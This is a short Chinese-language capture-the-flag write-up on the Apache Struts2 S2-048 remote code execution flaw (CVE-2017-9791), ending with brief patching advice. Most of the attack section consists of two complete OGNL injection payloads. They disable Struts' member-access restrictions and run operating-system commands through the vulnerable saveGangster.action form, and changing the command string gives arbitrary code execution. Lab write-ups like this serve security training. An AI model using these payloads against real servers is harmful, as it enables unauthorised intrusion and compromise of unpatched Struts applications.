漏洞介绍
名称: struts2-048 远程代码执行 (CVE-2017-9791)
描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 当Struts 2中的Struts 1插件启用的情况下,攻击者通过构造恶意字段可以造成RCE
最近也是偶然打靶场碰到了这道题,话不多说直接干
靶场环境:
1.找到漏洞路径/integration/saveGangster.action
2.在第一个框里插入payload(此处命令为pwd)
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}
发现命令被成功执行了而且刚好在tmp目录(flag保存的目录)
3.让我们看下ls命令(直接拿flag)
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}
有报错,不过别急
分析了一下,大概是flag格式冲突导致的错误,不过flag内容还是正常出来了
提交提交提交
emm
修复建议
1.升级建议升级到最新版本
2.根据业务情况,禁用关闭(删除) \struts-2.3.x\apps\struts2-showcase.war包